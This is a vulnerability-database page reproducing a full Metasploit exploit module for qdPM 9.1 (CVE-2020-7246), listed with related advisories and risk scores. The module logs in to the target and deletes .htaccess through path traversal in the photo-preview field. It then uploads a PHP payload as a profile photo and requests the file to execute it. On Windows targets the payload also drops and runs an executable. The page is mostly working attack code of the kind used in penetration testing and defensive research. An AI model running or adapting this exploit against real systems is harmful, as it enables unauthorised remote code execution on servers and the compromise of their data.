Lucene search
K

qdPM 9.1 Authenticated Shell Upload

🗓️ 29 Sep 2022 00:00:00Reported by Rishal Dwivedi, Leon Trappett, Giacomo Casoni, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 219 Views

Remote code execution (RCE) in qdPM 9.1 via profile photo uploa

Related
Code
ReporterTitlePublishedViews
Family
0day.today
qdPM 9.1 - Remote Code Execution Exploit
23 Jan 202000:00
zdt
0day.today
qdPM < 9.1 - Remote Code Execution Exploit
29 Feb 202000:00
zdt
0day.today
qdPM 9.1 - Remote Code Execution (Authenticated) Exploit
4 Aug 202100:00
zdt
0day.today
qdPM 9.1 - Remote Code Execution (Authenticated) Exploit
26 May 202200:00
zdt
0day.today
qdPM 9.1 Authenticated Shell Upload Exploit
29 Sep 202200:00
zdt
ATTACKERKB
CVE-2020-7246
21 Jan 202000:00
attackerkb
Circl
CVE-2015-3884
29 May 201815:50
circl
Circl
CVE-2020-7246
21 Jan 202017:37
circl
CNVD
qdPM Arbitrary File Upload Vulnerability
21 Mar 201700:00
cnvd
Check Point Advisories
qdPM Remote Code Execution (CVE-2020-7246)
25 Mar 202000:00
checkpoint_advisories
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::PhpEXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',  
'Description' => %q{  
A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.  
An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal  
vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.  
NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Rishal Dwivedi (Loginsoft)', # Discovery  
'Leon Trappett (thepcn3rd)', # PoC  
'Giacomo Casoni' # Metasploit  
],  
'References' => [  
['CVE', '2020-7246'],  
['EDB', '50175']  
],  
'Payload' => {  
'BadChars' => "\x00"  
},  
'DefaultOptions' => {  
'EXITFUNC' => 'thread'  
},  
'Platform' => %w[linux php],  
'Targets' => [  
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],  
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],  
[ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],  
[ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]  
],  
'Privileged' => true,  
'DisclosureDate' => '2020-11-21',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => ['CRASH_SAFE'],  
'Reliability' => ['IOC_IN_LOGS'],  
'SideEffects' => ['REPEATABLE_SESSION']  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),  
OptString.new('EMAIL', [true, 'The email to login with']),  
OptString.new('PASSWORD', [true, 'The password to login with'])  
]  
)  
  
self.needs_cleanup = true  
end  
  
def check  
uri = normalize_uri(uri, '/index.php')  
res = send_request_raw({ 'uri' => uri })  
if res.nil?  
return Exploit::CheckCode::Unknown  
end  
  
login_page = res.get_html_document  
begin  
version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f  
rescue StandardError  
return Exploit::CheckCode::Unknown  
end  
version = Rex::Version.new(version_num)  
if version <= Rex::Version.new('9.1')  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def get_write_exec_payload_win(fname, _data)  
p = Rex::Text.encode_base64(generate_payload_exe)  
php = %|  
<?php  
$f = fopen("#{fname}", "wb");  
fwrite($f, base64_decode("#{p}"));  
fclose($f);  
exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");  
?>  
|  
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')  
return php  
end  
  
def login(base, username, password)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("#{base}/index.php/login"),  
'keep_cookies' => true  
})  
login_page = res.get_html_document  
csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri("#{base}/index.php/login"),  
'vars_post' => {  
'login[email]' => username,  
'login[password]' => password,  
'login[_csrf_token]' => csrf_token  
},  
'keep_cookies' => true,  
'headers' => {  
'Origin' => "http://#{rhost}",  
'Referer' => "http://#{rhost}/#{base}/index.php/login"  
}  
})  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("#{base}/index.php/myAccount"),  
'keep_cookies' => true,  
'headers' => {  
'Host' => rhost.to_s  
}  
})  
account_page = res.get_html_document  
begin  
userid = account_page.at("input[@name='users[id]']/@value").text.strip  
rescue StandardError  
print_error('The designated admin account does not have a user ID.')  
return {}  
end  
username = account_page.at("input[@name='users[name]']/@value").text.strip  
csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip  
opts = {  
'user_id' => userid,  
'name' => username,  
'csrf_token' => csrftoken_  
}  
return opts  
end  
  
def upload_php(base, opts)  
fname = opts['filename']  
php_payload = opts['data']  
user_id = opts['user_id']  
email = opts['email']  
csrf_token = opts['csrf_token']  
  
data = [  
{ 'name' => 'sf_method', 'data' => 'put' },  
{ 'name' => 'users[id]', 'data' => user_id },  
{ 'name' => 'users[photo_preview]', 'data' => '.htaccess' },  
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },  
{ 'name' => 'users[new_password]', 'data' => '' },  
{ 'name' => 'users[email]', 'data' => email },  
{ 'name' => 'extra_fields[9]', 'data' => '' },  
{ 'name' => 'users[remove_photo]', 'data' => '1' }  
]  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),  
'vars_form_data' => data,  
'keep_cookies' => true,  
'headers' => {  
'Origin' => "http://#{rhost}",  
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"  
}  
)  
  
data = [  
{ 'name' => 'sf_method', 'data' => 'put' },  
{ 'name' => 'users[id]', 'data' => user_id },  
{ 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },  
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },  
{ 'name' => 'users[new_password]', 'data' => '' },  
{ 'name' => 'users[email]', 'data' => email },  
{ 'name' => 'extra_fields[9]', 'data' => '' },  
{ 'name' => 'users[remove_photo]', 'data' => '1' }  
]  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),  
'vars_form_data' => data,  
'keep_cookies' => true,  
'headers' => {  
'Origin' => "http://#{rhost}",  
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"  
}  
)  
  
data = [  
{ 'name' => 'sf_method', 'data' => 'put' },  
{ 'name' => 'users[id]', 'data' => user_id },  
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },  
{ 'name' => 'users[new_password]', 'data' => '' },  
{ 'name' => 'users[email]', 'data' => email },  
{ 'name' => 'extra_fields[9]', 'data' => '' },  
{ 'name' => 'users[remove_photo]', 'data' => '1' },  
{ 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }  
]  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),  
'vars_form_data' => data,  
'keep_cookies' => true,  
'headers' => {  
'Origin' => "http://#{rhost}",  
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"  
}  
})  
  
return res.code == 302  
end  
  
def exec_php(base, _opts)  
res = send_request_cgi({  
'uri' => normalize_uri("#{base}/index.php/myAccount"),  
'keep_cookies' => true  
})  
home_page = res.get_html_document  
backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip  
register_file_for_cleanup(backdoor)  
send_request_cgi({  
'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")  
})  
end  
  
def exploit  
uri = normalize_uri(target_uri.path)  
user = datastore['EMAIL']  
pass = datastore['PASSWORD']  
print_status("Attempt to login with '#{user}:#{pass}'")  
opts = login(uri, user, pass)  
if opts.empty?  
print_error('Login unsuccessful or bad (admin) user')  
return  
end  
  
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"  
case target['Platform']  
when 'php'  
p = get_write_exec_payload  
when 'linux'  
p = get_write_exec_payload(unlink_self: true)  
when 'win'  
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"  
bin = generate_payload_exe  
p = get_write_exec_payload_win(bin_name.to_s, bin)  
print_warning("#{bin_name} will require manual cleanup")  
end  
  
print_status("Uploading PHP payload (#{p.length} bytes)...")  
data = {  
'email' => user.to_s,  
'filename' => php_fname,  
'data' => p  
}  
data = data.merge(opts)  
uploader = upload_php(uri, data)  
if !uploader  
print_error('Unable to upload')  
return  
end  
  
print_status("Executing '#{php_fname}'")  
exec_php(uri, opts)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2022 00:00Current
0.1Low risk
Vulners AI Score0.1
CVSS 26.5
CVSS 3.18.8
EPSS0.90442
219